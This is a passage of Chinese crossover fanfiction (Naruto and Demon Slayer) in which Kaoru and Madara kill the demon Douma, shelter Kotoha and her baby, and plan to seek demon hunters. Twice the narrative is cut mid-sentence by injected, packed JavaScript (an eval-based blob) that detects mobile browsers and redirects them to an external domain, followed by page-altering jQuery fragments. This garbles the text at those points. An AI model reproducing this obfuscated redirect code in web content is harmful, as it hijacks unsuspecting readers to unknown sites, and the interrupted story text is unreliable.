做完这一切，她才缓缓松了口气，正要说话，斑一直藏在阴影中的另一只手便抬了起来，往她手上塞了个东西，再走到她的前面。 “多谢。”斑背对着她说。 熏愣了一下，看向突然被塞到手中的刀，再抬头看向青年近在咫尺的背影，突然失语。 手中的短刀熟悉得可怕，分明是她几年前在林下城找工匠定制的短刀。 虽然短刀总会被人贴身携带，但刚才斑的身上有放刀的地方吗？ 而且……这个人不是最讨厌别人站在他身后了吗？现在他把手中的武器直接交给她，就这么挡在她面前，又算什么？ 就这么自信她不会对他动手吗？ “喂，斑——” 熏的话刚出口，就被一个焦急的女声打断。 “救命！不对……快逃！” 21.恶鬼灭杀2 熏从斑身后探究地看向来人，表情瞬间凝重起来。 一阵冷风忽然吹过，一弯钩月自云后显露，空气中的血腥味更为浓郁了。 眼前的女人正紧紧抱着一个襁褓，松松挽起的黑色长发因为跑动而散乱下来，肩背的位置洇开了大片血迹。 她的脸上满是惊恐与懊恼，身体颤抖着让熏和斑赶紧去逃命，没有一丝刚开始遇到人时语气中泄露出来的惊喜，似乎在后悔终于找到了其他人，甚至就要上来抓着他们一起跑 熏轻巧地避开女人的动作，她和斑对视了一眼，伸手环住女人的肩膀，止住对方的动作，放轻声音问她：“发生了什么？有人在追杀你吗？” 她顺势观察了女人的伤，伤口都在背后，能认出是利器所伤。 但既不像刀伤，也不像箭伤。 熏不着痕迹地为她输了些医疗查克拉止血。 女人见拉不动熏，又被熏按着没办法动，急得快要哭出来。 她只能紧紧抱着怀中的孩子，连自己的伤势好转了都没有注意到，翠绿色的眼睛中满是惊恐与祈求，希望面前的人能够先听她的：“有吃人的鬼，不要留在这里……” 熏诧异地瞪大眼睛。 “吃人鬼？” 话音未落，熏察觉到异动，抱起女人的膝弯，自原地瞬身离开，站到了临近的树上，看向刚才自己所在的位置。 点点月辉洒下，一个突兀的人影逐渐显现在月光之下，来人手中一把展开的金色折扇向前伸展，一头橡木色的浅色头发在月光下闪着微光，头上戴着一顶造型有些奇异的帽子，帽子周围是一圈形状怪异的血色痕迹。 服饰奇怪的男人举起折扇的手正被斑握住手腕，但他似乎完全不在意，抬着头望向熏的方向——或者说她抱着的女人的方向，熏在看清对方的眼睛愣了一下—— 原来世界上真的有七彩的眼睛，上面还写了字……她见到活的玛丽苏了？！ 来人对熏露出了一个微笑，用一种熏起了一身鸡皮疙瘩温柔语气问：“可以把她………” 话还没说完，他便被狠狠甩到了不远处的树干上。 被冲击的树发出不堪重负的吱嘎声，随即断裂倒地，他却一点事也没有地稳住了身形，将目光放在了斑的身上，眼睛有些诧异地张大了些。 在这个不知名的男人出现之时，熏怀里的女性便全身僵硬地一动不动，惊恐似乎将她全身都冻结起来。 她口中的“食人鬼”是谁，不言而喻。 看起来似乎是个正常人……但刚才这只“鬼”冲过来的速度，确实远非常人能比，而且熏因为对方“鬼”的身份，眼中浮起淡淡的金色，换了一种方式观察对方。 柱间的生气是浓郁的白，斑的生气是如同他须佐颜色的蓝，她自己的生气是金色，其他人的生气是薄雾般半透明的白。 但这个人身上的生气……诡异到了极点，如同凝聚了无数鲜血的黑，隐隐透出几丝血光，环绕在他周围。 熏将女人放在树枝上背靠树干，皱着眉握住斑递给她的刀，看着树下对峙的两人。 刚才斑将刀给了她，现在却是他对上了那个诡异的敌人……熏有些心烦意乱，虽然知道斑的实力，但是面对不知底细的敌人还是让她有点焦虑，更何况对方的情况确实不太对。 “欸？力气和速度都很出色，但是没有带日轮刀，只是个普通人吗？”有着七彩瞳色的鬼没事人一样地抬起另一只手上的折扇，用扇头轻点侧脸，看着斑微微歪头，“很紧张和我的教徒在一起的那个女孩子，生气了吗？” 他脸上依旧笑意盈盈的，好像完全不在乎刚才斑对他做的事：“初次见面，我是万世极乐教的教主童磨，引领信徒获得幸福前往极乐世界是我的义务，你有兴趣成为我的信徒吗？” 熏头一次见有人对斑传教，惊呆了。 斑冷笑一声：“真是大言不惭。” “那边的女孩子呢？”童磨又抬头望向熏，身边的女人身体微微颤抖着，发凉的手抓紧熏的手，向熏轻微摇头。 话题突然又落到熏的身上，熏看看斑，右手轻缓拂过刀柄。 斑甚至连写轮眼都没用，目前状况应该都还在控制以内。 “十分抱歉，我不相信有极乐世界这种……”她又看向那只鬼，心情微妙地回答着。 熏轻微眯起眼睛，觉得那只食人鬼的发色实在是太闪了，今天的月光明明也不亮，他的头发也不是银色，怎么会—— 她瞳孔微张，脸色大变：“斑，火遁！” 在能看到生气的视角之中，那些闪光哪里是发色的反光，而是被对方那股血色之气所控制的细小冰晶。 熏只来得及对被她救下的女人说了一声待在这，便自枝头一跃而下，在火遁燃起时手持短刀，刺向自火海中跃出袭向斑的食人鬼。 短刀被金属折扇挡下，熏另一只手在起落之间已经完成了变形，尖锐的利爪抵住对方挥来的另一只折扇，前额也生出了狰狞的角，此刻的熏已经能熟练地掌握这一形态的变化。 童磨见状笑容更盛：“什么啊，明明有着稀血味道的美食只能是人类，但不仅速度、力量都远超常人，你还能变成这副模样，你的同伴也能用奇怪的手法点燃大火——我们难道是同类吗？莫非，这个世界上还有不在‘那位大人’统治之下的另一群鬼吗？” 熏没理会童磨的话，她只要一回想起刚才自己在空中所看见那一幕就无比后怕。 宇智波斑当然很强，他和身为族长的柱间在战斗时没人能插上手，但他依旧是会受伤会流血的人类。 熏不知道那些密密麻麻漂浮在空中准备暗算斑的东西会不会真的成功，但连柱间都没有完全击败的斑如果被这些东西暗算了……那他们千手这些年和宇智波的战斗又算什么！ 更何况，如果斑出事了，结盟肯定会散，战争又会重启，这一切都让熏无法接受。 而且一开始提议来这边的是她，这只奇怪的鬼的目标是她一开始救下的女人，是因为她把人带走把斑留在那里，他们才会对上。如果斑因此出事——虽然熏总觉得即便斑中招了也会有应对之法——她不想欠斑更多的人情了。 熏手中用力，金属折扇在她爪中不堪重负，开始扭曲变形。 就在扇子即将崩裂之时，熏察觉到身后袭击，余光瞥到数道冰锥正疾驰而来。 如果有其它忍具在身，熏能直接应付，但此刻只能回身闪避。 “……开玩笑的吧？”退开之后，熏不可置信。 火焰灼烧着周围的树木，高温烤得熏白色的长发末端蜷曲起来，连空气似乎都扭曲了。 这种情况下，对方所控制的冰还能用上？ 童磨乘胜追击，挥动铁扇斩向熏的脖颈，熏情知即便自己当下状态肉/体强横，也不宜直接撞上对方全力的一击，当即结印。 与此同时，数个火球追向童磨，熏所使出的风切之术融入斑的火遁之中，在食人鬼被击中时切开数道伤口。 熏也与童磨错身而过，手中的刀斩断了童磨持扇的手。 就在熏以为局势暂缓之时，她突然听见身后一阵奇异的声响——食人鬼被斩断的那只手正不断发出咔嘣的骨头脆响声，自小臂被斩断的伤口处“气”在飞速消耗，很快就长出了一只完好无损的手，向着熏的头抓了过来。 熏被眼前这一幕震在当场。如果说刚才童磨那句“同类”她压根没放在心上，但是消耗大量的“气”治疗身上的伤这一点可谓和她的能力一模一样，现在她不可能再当作无事发生。 就算是濒死，只要有足够的气，她也能立刻活过来。 这么一分神愣住的工夫，斑不知何时取走了童磨断臂上的那把折扇，笔直掷向童磨抓来的那只手。 食人恶鬼刚恢复的手转眼又被刺穿了一个洞，宇智波斑抱住熏瞬身退开，而后取走熏手上的刀，头也没回地对熏留下一句“别在意他的话”，便向着童磨掠去。 火遁引起的大火熊熊燃烧着，空气极为灼热，旁观之时熏才意识到周围的环境实则对童磨还是有些影响的。 一开始那些细小的冰尘在这样的环境中已经不能成型，恐怕那些攻击她的冰也已经是威力骤减过的。 她抬手摸上自己的脸颊，刚才斑的救援来得及时，但她的脸侧依旧被对方的利爪蹭过一道伤痕，此刻正缓缓渗出鲜血。 根本不需要查克拉去刺激伤口恢复，体内的气已经涌了过去，将伤口愈合。 她想起第一次进入这种状态后的失控以及当初面对斑时那股渴望进食的感觉。 那时候她对斑说自己是人，年少时扉间针对她能力说的一句可能是她母族传下的血继让她一直坚信着这一点。 但现在她却不敢确定了。 妈妈是普通人，爸爸是再纯粹不过的千手，她的能力究竟从何而来？ 轰—— 就在这时，前方的战斗中心突然传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996303|159254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来一声巨响。 火焰凭空熄灭，四周覆盖着大片冰霜与破碎的冰屑。不完全状态的蓝色巨人将食人鬼砸向地面。 明明是致死的攻击，食人鬼却依旧在恢复着伤势。 须佐将食人鬼抓在手中，斑的语气冰冷：“你的首领是谁？” 刚才，童磨提到了“那位大人”。 童磨的脸正在以一种极快的速度复原，面对死亡的威胁，他似乎并不感到害怕，嘴角微微翘起：“作为人类，你在袒护那个小姑娘吗？但她身上明明就有我们同类的气息。” 须佐捏得更紧了：“别说废话。” “没有用的，你的能力确实很突出，但是杀不了鬼。相比于转瞬逝去的生命，你不想成为鬼享受永恒吗？”童磨继续说道，“有人陪着的话，那个小姑娘也不会害怕了吧？我的提议如何？作为异类生活在你身边，她一定充满了不安吧？” 万世极乐教的教主流下了似乎感同身受的眼泪。 斑面色更冷，猩红转瞬覆盖虹膜，万花筒的花纹旋转起来，他不打算再听童磨那些蛊惑人心的话语，接下来的动作却被一个声音打断。 熏在外圈补了个火遁，她不清楚这些冰到底有什么作用，但从一开始童磨准备以那些冰尘偷袭他们来看，上面指不定会有什么东西。 熏的火遁不是她主攻的方面，勉强把地面那些冰融掉，她踩着有些湿迹的地面走到了交战中心，刚好听见了童磨的话。 于是她插入了两人的对话：“抱歉，我们没什么特别的关系，也没住在一起。至于不安……你也别说这么恶心的话。” 熏站在童磨面前，微微仰起头看着被巨人握起的食人鬼，青白的肌肤之下是泛着紫意的道道痕迹，两人比起来明显是熏更像是鬼一些。 “你似乎有恃无恐，认为我们杀不了你，”熏弯了弯眼睛，看向对方，“但就像你说的那样，你把我看成了食物，我也可以。” 她向童磨伸出手，尖锐的指甲碰触到童磨身上不断修补伤势的生气之上。那股粘稠血腥的感觉让熏下意识皱紧了眉，而后她发动能力，与童磨开始争抢起那股生气来。 大量的气涌入熏的体内，熏几乎要控制不住破坏的欲望，所幸童磨的气已经在反复修补伤势时消耗了不少，在熏濒临失控前，他先一步因为气被消耗一空而彻底死亡。 这也是两人第一次见到鬼死亡后的样子。 拥有七彩双眸的鬼原本的表情还是震惊，但在死亡那一刻，他的表情骤然变成了没有任何意义的空洞。 而后，身体化作飞灰。 周围原本还残存着的冰屑也彻底消失不见。 熏面无表情地看向解开须佐后的斑。 似乎过了很久，斑问她：“变不回去了？” 熏点点头，又摇摇头。 “大概，和上次一样，要等一段时间。” 斑又向熏伸出手：“需要吗？” 熏垂眸盯着那只手，克制地摇头：“不能再吃了，再吃会彻底失控。” 不对，她也没理由去吸食斑的气。 熏后知后觉。 但斑依旧没有收回手。 他上前几步，走到熏近前，用着极为微妙的语气说道：“你说错了。结盟之后，宇智波和千手，都会住在一起。” 斑将刀归鞘，一边随意地把刀塞进熏的手中，一边扶好熏，问她：“现在感觉怎么样。” 熏犹豫了一会儿，还是没出言反驳，她觉得斑理解错了她那句话意思，但解释似乎显得她想得多余了，最后她回答刚才斑的问题：“想吐，我想桃华了。” 这真是她这辈子吃过的最难吃的气，如果杀鬼只能通过这一途径，那么这个世界上最后只有童磨一只鬼。 但之前童磨似乎说了什么“那位大人”，他们就算穿越，似乎也穿了个不太安稳的世界。 斑：…… 缓了一会儿，她才推了推斑的手，说：“我觉得我们可能忘了什么。” 斑看向熏：“我没忘，但应该是你去把人带回来。” “……”熏面露尴尬，她抬起自己如同利爪般的手举给他看，“我会吓到别人的。” 斑微微眯起眼睛：“那就吓到好了，你救了她。” 熏说：“你也救了她。” 斑哼了一声不说话。 熏无奈叹气：“好吧，那你先把耳朵遮住，我怕吵到你的耳朵。” 斑：…… 22.恶鬼灭杀3 结果熏回去找到那个带着孩子的女人时，对方并没有被她的样子吓到，甚至还反复确认了熏没事，这才松了口气。 在得知追杀她的食人鬼已经死掉后，女人的表情有一瞬难以描述地复杂，而后终于放松般地流下眼泪。 将对方从树上抱下来后，熏才发现原来对方视力不太好，今晚又是个阴天，月光黯淡，她估计没看清她现在的样子。 熏心底有些感叹，也亏这人能在大晚上带着个孩子在树林里逃跑。 女人说自己叫作琴叶，怀中的孩子叫作伊之助，这个比熏小上不少的女人——或者说是少女——是这个孩子的母亲。 虽然已经见惯了这种情况，但在面对自诉自己是为了逃离向自己施以暴力的丈夫与婆婆才误入了那只食人鬼所在的极乐教时，熏还是沉默了。 三人在林中生了火，斑背对着她们坐在不远处，怀中抱着琴叶的孩子。 拥有和母亲一致翠绿双眸的孩子躺在襁褓中，完全不知道自己与母亲经历了什么样的危机，天真地看着有些僵硬地抱着自己的男人，轻轻咿呀出声。 熏和琴叶坐在火堆边上，她借用了斑的刀，勉强用火给刀消毒，裁开琴叶身上与伤口粘连的衣服，给琴叶处理伤口。 做这些的时候，熏难免会想起当初送刀时想的就是短刀的用途比较多，没想到现在真的用上了。 只是用刀的却是自己，世事当真不可捉摸。 熏给琴叶处理伤口时，这个连自己都还没长大的女孩子柔顺地垂着头，忍着痛任由熏为自己包扎伤口。 “勉强把伤口包扎好了。”熏撕下自己穿在里面的干净衣服的布料给琴叶包扎。 因为要参加宴席，今天她特意换了身新衣，没想到新衣会在这里派上用场。她又解下千手制式的外褂搭上琴叶的身体御寒：“我身上没有药，还是要尽快去有医生的地方，你熟悉附近吗？” 琴叶摇摇头，又点头。 女孩子抱住自己的膝盖，微微颤抖着：“这里离教中不远，附近应该有一个村子，但是我没找到。” 熏愣了一下，意识到琴叶在哭，突然有些懊恼。 忍者当久了，把受伤疼痛都当作平常事来看待。 她有些无措，想拍拍女孩的背安慰她，但是又顾忌到琴叶的伤口，最后坐到琴叶身边轻轻揉了揉琴叶的头发：“还在痛吗？抱歉，我刚才没注意力道。” 不然趁她睡着用医疗忍术帮她把伤治好吧。 熏想。 琴叶闻言狠狠摇了摇脑袋：“和您没有关系……我只是，很想哭。 “教主他……一开始，真的很温柔……” 熏的动作似乎打开了什么开关，琴叶扑到熏的怀中，啜泣着诉说自己纠结而痛苦的内心。 她告诉熏她在极乐教的生活：同伴们友善，教主也很温柔，还会夸赞她的歌声，也会告诉琴叶不用再担心过去那些痛苦的事了。极乐教救了琴叶，让琴叶品尝到了幸福的味道，她也真的认为教主会引领着信徒们获得永恒的幸福。 但当她撞见教主吃人时，一切都不同了。净土成为了地狱，拯救她的人也成为了恶鬼，对她友善、会与她说笑的同伴变成了救命恩人嘴中还在蠕动的肉，挣扎着说“救救我”。 美梦变成噩梦，只在一瞬间。 教主说这样会让她的同伴们与他永恒地在一起，教主又说不会吃掉她……这不就矛盾了吗？他其实知道人死掉就什么都不存在了。一切只是恶鬼豢养食物的借口罢了，她怎么敢相信食人鬼的话呢？ “我好像总是做错事，每一次都做错了。”琴叶痛苦地说。 嫁给了错误的人，于是人生变得无比糟糕，眼睛也瞎掉了一只。 逃跑时选错了地方，错信了食人鬼迷惑人心的言语，带着伊之助一步步走向更深的地狱。 “而且，就算是……就算知道教主是恶鬼，但是我总会想起是教主救了当初的我……在知道他死了的时候，我既松了口气，却又忍不住伤心……我真是个愚蠢的人，明明只用庆幸就好了。” 熏僵硬地被琴叶抱着，她的指尖尖锐，稍不注意就会划伤对方。 一时之间，作为忍者的她和斑似乎都被这对普通的母子控制住了，不敢轻易动弹。 她试探性地避开指甲的部分，用指腹与掌心去接触琴叶，眼神怜惜：“和愚不愚蠢没有关系，因为……你也还是个孩子嘛，就算犯错，也是很正常的。我在你这个年龄的时候，也总犯错，还闯下了大祸，就算是现在，这样的情况也没有好转。” 违反规定与外族人交心谈恋爱、欺骗雇主瞒天过海、喝了点酒就跑去不久前还是敌人的对家族长的房间胡闹……全是不能被发现的秘密。 “更何况，那只鬼爱用言语挑动人的情绪，不是你的错，是他太狡猾了，”熏说，“他死前都还在引诱我们。那是没有把人类放在眼里随心所欲的生物，死亡对他没有任何意义。他是没有心的鬼，虽然救了你，但也随时能够吃掉你，一切都只是凭他的喜好来。” 即便只有短暂的接触，熏也发现了，童磨不将生死放在心上。如果一开始能以他不会被轻易杀死作为解释的理由，那么他死前的表现就很令人深思了。 ——只有那么偶然一瞬的诧异，好像是没料到自己的死亡，但却对即将来临的死亡没有任何反应——无论是恐惧，还是担忧、后悔，或者是愤恨。 他接受这一切接受得快得不行，而后便显出一种不同于麻木的空洞来。 死亡对他没有任何意义，即使是他自己的死亡。 “嫁给了暴力的丈夫也不是你的错。他是个人渣，就算是别人他也会这么做，错的是他不是你，而他也已经死了。” 不幸的事发生后，受害者却容易将痛苦的源头归结在自己身上，可这也太不公平——明明错的是别人，该受到唾弃惩罚的也是别人，为什么受害者却会更痛苦呢？ 琴叶在熏的怀中放声痛哭：“我真的不想再错下去了。” 而熏也不断地告诉她，错的并不是她。 “睡吧，睡吧，明天早上又是新的一天，那些扰乱你人和鬼也都不再了。”等到女孩子哭累了沉沉在熏的怀中睡去，熏才慢慢将琴叶挪到火堆边躺好，腾出余裕去看了眼斑。 斑除了一开始被熏塞了个孩子时束手束脚不知道该怎么办以外，在熏安慰着琴叶的时候也渐渐放松了下来。 熏过去看的时候，斑竟然有模有样地抱着孩子，就是表情不太好看，似乎很烦躁。然而斑的表情看着再怎么吓人，当熏看见伊之助居然在玩斑的头发后，熏的心中就只剩下了无力。 她沉默地看着眼前这一幕，在斑看过来的时候讷讷道：“……没想到你脾气还挺好。” 斑盯着把手上这个烫手山芋塞过来的某人，面上的烦躁褪去，恢复了宇智波惯常的冷漠：“我犯不着对一个小孩子发脾气。” 熏哦了一声，没忍住感叹：“但你看起来好像很习惯抱孩子。” “……”这一次斑沉默了一会儿，垂眸看了眼怀里的伊之助，慢慢道，“我以前有好几个弟弟……不把这个孩子还回去吗？” 斑把怀中的伊之助递过去，熏连忙伸手去接：“刚才麻烦你了，你也去那边烤火吧，琴叶已经睡了。” “嗯，”斑跟着熏一起过去，坐在火堆边看着熏把伊之助放在琴叶臂弯中，然后才道，“你也睡吧，我守夜。” 刚打了一架，再加上之前在斑的房间发生的事把她吓得睡意跑得干干净净，熏摇了摇头：“我不困，你睡吧，之前你应该是打算休息了吧？” 斑眼神古怪地看了眼熏：“我也不困了。” 熏：…… 她知趣地没问为什么，篝火毕毕剥剥地燃烧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019964|159254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着，他们就沉默地隔着火堆相对而坐。 零星的火星随着气流往天上飘，在漆黑的夜空中转瞬熄灭，像是宇宙间不知名的星星发出光亮后陷入永寂，而他们身边，琴叶和伊之助沉眠后发出平稳的呼吸声。 “明天，你有什么打算？”熏翻动了一下火堆，问斑。 “你不是已经想好了吗？”斑盯着火堆说道，“送这对母子找到落脚的地方，然后去打听猎鬼人和这个世界的消息，找到回去的办法。” 星空不一样了。 他们的世界没有这种鬼，这些鬼也同样不了解忍术，那么他们如今所抵达的这个地方，极有可能属于另一个世界。 猎鬼人的存在也是童磨泄露出的。 他在感叹斑的身体素质时，曾提到“日轮刀”这种武器，但又因为斑没有日轮刀而将其定义为普通人。 与普通人相对的，自然就是特殊的人。对鬼特殊的人，除了童磨顺嘴提到过的可能和他们味觉有关的稀血以外，自然就只能是带着某种特殊武器杀鬼的人了。 根据琴叶刚才说起自身的经历，也可以推测鬼这种生物是隐藏在人群当中的。 只是如今不知道他们的实力水准如何，今天遇上的这只鬼有操纵冰的能力，这种能力与忍术比起来少了结印的程序，就是不知道是所有的鬼都是这样还是像忍者血继一般只属于部分人特殊的人。 情报还是太少了。他和熏回去的前提是保证生命安全，因此探听情报是必不可少的。 在此基础上，再寻找回去的方法。 熏听了斑的分析后索性点头：“我确实是这样打算的……不过，换了个世界，你似乎都不是很惊讶？” 斑抬起头看向熏：“你不也是？还是说你希望看见我怎么样？” 熏心说她没那么惊讶是因为她毕竟一回生二回熟了，也不是头回穿越。但斑的反应……好吧，她还真想象不出来斑会有特别奇怪的反应。 如果这个世界有足够厉害的对手——当然，仅指对斑来说——说不定斑会有点兴趣。 “好吧，确实没什么需要惊讶的必要，”熏吐槽道，“希望能够早点找到线索。你说，既然可能有对付鬼的武器，那会不会有专门制造武器的人，以及组织？” 盯着火堆久了，熏打了个哈欠，睡意慢慢漫了上来：“再乐观一点，如果有这类组织，说不定也会有不少奇人异士……总能找到回去的办法。” 斑的目光挪到熏微微阖上的眼睛上：“你困了，该睡觉了，不要担心。” “……我没有担心回不去。”熏说。 “那是在担心又做噩梦？梦到以前那个长角的男人？”斑没有拆穿熏的不打自招，转而又问。 熏摇头。 过去那个梦其实还有后续，但其实没必要再和斑讲了。 熏也意识到了一件事。 她看向沉默地坐在自己对面的男人，说道：“宇智波斑大人，我已经和过去不一样了，不会因为小事而坐噩梦，也不再留恋过去。” 斑闻言冷笑了一声，加了几根树枝到火里。 “是啊，毕竟对你而言，过去的是错误，”他站起身，没有再等熏的回答，朝更外围走去，“快要天亮了，你先休息一会儿吧，我检查一下附近的情况。” 熏愣了一下，没料到斑将她和琴叶说的话听了进去。她下意识想要解释，却又不知道该解释什么。 对现在的她而言，十六岁的自己确实太过年轻，过于随心所欲。现在回想起来，她都会奇怪那时的自己在意识到她喜欢上身份不明的忍者后怎么还有勇气继续和对方交往乃至于约好交换身份。 太危险了。但凡对方心怀不轨，她都可能闯下大祸，无意泄露千手的情报，让族中损失惨重。 难道对于宇智波斑而言，这不是一种错误吗？ 熏有些无措。 23.恶鬼灭杀4 天亮后，熏用变身术变成了原来的样子，三人一起找到了临近的村庄。 琴叶在极乐教的时间不长，大部分时间都在养伤，很少随其他教徒一起离开极乐教，因此这些可能会与极乐教有所接触的村民对她也不熟悉。 他们找到村长家，熏随口编了个理由解释他们出现在这里的原因后，便暗示旁边的斑用幻术。 昨晚谈话不欢而散后，斑就没怎么和熏再说过话。突然意识到这一点的熏有些懊恼，正打算自己用幻术，斑就已经用幻术让村长接受了琴叶的来历，同意琴叶在村子里定居。 村长知道琴叶身上还有伤后，就拿了药膏让琴叶涂上，熏也趁机打听起这个世界的消息。 因为鬼大概率是潜入人群中隐藏的，所以她没直接问鬼的事，而是问起哪里能找到日轮刀。 “日轮刀？”村长婆婆摇头，“没听过，废刀令颁布之后不允许带刀，刀匠也就少了。” “废刀令？”熏不太自在地摸了下怀中藏着短刀的地方，若无其事地问。 还好没有拿出来。 “是啊，前些年还听说还有武士家族叛乱，但近些年也没听过了，”老婆婆佝偻着腰从火塘上煮汤的锅里给三人一人舀了一碗，又让琴叶等等，单独给伊之助分了碗适合小孩子吃的食物，才慢吞吞地说道，“我们这里偏僻，消息不通，如果要打听事情的话，去城里可能更有用些。” 斑接下碗放到一边没动，问道：“不允许带刀……这么说，如今已经没有战争了？” “我是不太清楚的，村里的年轻人可能知道吧，”老婆婆摆摆手，“对了，要赶夜路的话，带上香囊吧。” “香囊？”熏皱了皱眉，忍者很忌讳这些东西，“这里面有什么说法吗？” 老婆婆说道：“据说夜里会有吃人的妖怪。在我们这，有人夜里赶路的话，都会带上装有紫藤花的香囊驱邪。” 琴叶的表情就僵住了。 “真的有人见过妖怪吗？”熏问道。 她猜测村长口中所说的妖怪就是食人鬼。 不过村长没有注意到这一点，只说到底有没有人遇见过妖怪她也不清楚，又说这是村子里的传统，而后絮絮叨叨地讲起村庄的其它传统。 见在这里问不出什么了，打听了距离这最近的城镇方向后，熏就和斑一起起身告辞。 两人一前一后出了门，琴叶追过来送他们，伊之助也在琴叶的怀中咿咿呀呀的。 熏愣了一下，揉揉琴叶的脑袋，露出个微笑：“不要送了，要好好养伤，记得勤换药，不要让伤口感染了，我们走了。” 琴叶拉住熏的袖子：“您还会回来吗？您的衣服脏了，我想洗干净后还您……” 熏看向少女手弯上挂着的千手羽织，外套上的双头矛纹饰被掩住一半，衣服上沾了些血渍和灰。 她稍微愣了一下，而后摇头：“我也不知道还会不会回来，我和斑……和宇智波是这次是去找回家的方法的。要是还会回来，我就来取。” 等到走出村子，斑才说：“你对那个女人，很温柔。” 熏有些惊讶地看着斑：“你不生气了？” “……”他面无表情地转过脸看熏。 熏往一旁缩了缩，轻轻咳了一声，强行接起刚才的话题：“因为琴叶会让我想起以前的自己嘛。” 斑的表情奇怪起来：“……你们一点也不相像。” 熏瞪了眼斑，明明斑什么都没说，她却被看得有些抓狂：“收起你那失礼的想法！我也没说我和琴叶像啦！” 她只是觉得怜惜，在她看来琴叶也只是个十七八岁的小姑娘，自己都还没长大，就已经遭遇了那么多不幸。 她和琴叶确实不相似，从性格到外貌全然不同。她上辈子大概就是这个年纪去世的，她的死亡没有什么戏剧性，人生也平平无奇，她只是去参加一次体测，死亡就来得猝不及防。 “我只是觉得我现在姑且也算个可靠的成年人了，”熏说，“不过更多的……你就当我好心吧，反正你也不是第一次知道了。” “还真是毫无负担地就说出这种话啊，”斑说，“这时候就不是认为做错了吗？” 熏：…… 还真是念念不忘这个话题啊。 “……对忍者而言，本来就是做错了吧？”熏尝试着不说得那么伤人，“不过虽然我当初为宇智波芽衣所做的那些事违反了准则，做了错事，但再来一次的话……我大概还是会那么做。” 随随便便夺走一个人的生命，对于她而言还是太沉重了。 这些年她作为族中的医疗忍者，虽然杀敌的次数不比旁人，但依旧会上阵杀敌。而正是因为一遍遍地使用医疗忍术，将族人们从生死边缘救回来，又目送他们继续踏入战场，她才更能明白手中的刀所承载的重量。 以前她看过一个地狱笑话，说加特林是一个医生为了减轻士兵伤亡发明的。过去的她听见觉得荒谬想笑，现在却真切地体会到了这个故事背后的悲哀。 “很可惜，只是恰巧她是个宇智波，而我不知道。”错了就错了吧，人又不是圣人，怎么可能不犯错。 斑停下脚步。 林中树木森森，斑脸上的颜色被树叶的阴影映得深浅不一，他问道：“那我呢？” “……”熏狼狈地避开斑的目光，她快步走了几步，转移话题，语气微扬：“说起来，今天村长说的那个传说你觉得可信吗？” “如果打听不到日轮刀的消息，可以试试找大规模种植藤花的地方，”斑盯着熏的背影看了会，轻轻吐出一口气，嘴角轻微地翘了翘，而后跟上，“真的有猎鬼人的组织的话，他们不会放过这一点的。” “不愧是宇智波的族长，我也是这么想的！”见话题转移，熏微微松了口气，提起另一件事，回转过身倒着往后走，看着斑神情严肃，“不过，当务之急，我们需要解决另一个问题。” 斑本来还在在因熏变相夸她自己而暗暗觉得好笑，见熏如此严肃，愣了一下：“什么？” 熏：“我们没钱。” 斑：“……” 这还真是，一个，现实的问题。 按理说，如果他们穿越的时候不是在那么尴尬的场景之下，身上都多多少少会带着可以换钱的贵重物品，如今一文钱都拿不出来不说，两人的衣服都不太合适出现在大庭广众之下。 “所以，我有个提议，”千手熏努力让自己不去管已经滑坡的道德，说道，“那个叫童磨的鬼，不是还有个什么极乐教吗？” 斑：…… “来的路上，我已经问过琴叶极乐教的位置了。”熏意有所指。 斑觉得自己得说点什么 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就算是两族结盟的时候，熏也听着族人们悄悄说着宇智波斑看起来一点也不好相处，真是为难族长能和宇智波族长打好关系了。连熏也觉得，现在的宇智波斑和自己所认识的那个，有着极大的不同，甚至截然相反。就像她一样，宇智波斑也变得不一样了。 傲娇和骄傲，不是同义词，和傲慢更不是。 但看着突然抑制不住自己笑意，连眼睛都有些弯起来的宇智波斑，熏却突然想起了很多年的他——但明明，那时候的斑也没有这样不顾面子地表达自己的愉悦笑出声来。 糟糕。 熏眼眶有些发热，不明白自己只是回忆了一下过去的斑，怎么就有点想落眼泪了，明明自己已经长大了。 她不住地眨眼间，趁斑没注意，连忙侧过脸低头任由泪水掉落，而后调整好表情，语气不满：“你在笑什么！” 斑止住笑，双手抱在怀中，语气有些揶揄：“我也有个主意。” 熏的目光还有些怀疑，斑正欲说话，却在接触到熏的目光后神情一顿，放下了手。 他上前了几步，低头看熏，在熏略感不安地想往后退时抓住了熏的手腕。 “斑！”熏大声地说道。 斑没有理会熏警告似的语气，四指强硬扣在她的脑后，拇指指腹微微落到熏的眼睫处，在熏没忍住闭上眼时轻轻按住她的眼睛，抹向眼尾，而后松开手看向自己沾着些水意的指腹，语气听不出喜怒：“你哭了。” 熏睁开眼瞪他：“你才哭了！” “是因为我？” “别想那么多，只是风沙迷了眼睛！” “所以你哭了。” “宇智波斑！” 斑盯着一点也没想到写轮眼而怒视着他的千手，忽而叹了一口气，松开还抓着对方手腕的手退后了一步，声音极低：“……抱歉。” 在熏还没反应过来时，他又立刻道：“刚才的事，正好我们还要打听消息。” 突然扯回正事，熏犹豫了一下，还是道：“……所以？” 斑抬手结印，嘭的一声，白烟腾起，烟尘散尽时，一个有着白橡色发色的青年出现在了熏的面前。 “不妨用用极乐教的关系。”斑说。 熏：…… 她打了个寒战，怎么看怎么觉得不对，实在要说的话，斑变的“童磨”，有种正得发邪的感觉。 奇了怪了，斑也不是那种正气凛然的人啊！ 熏连忙退了好几步。 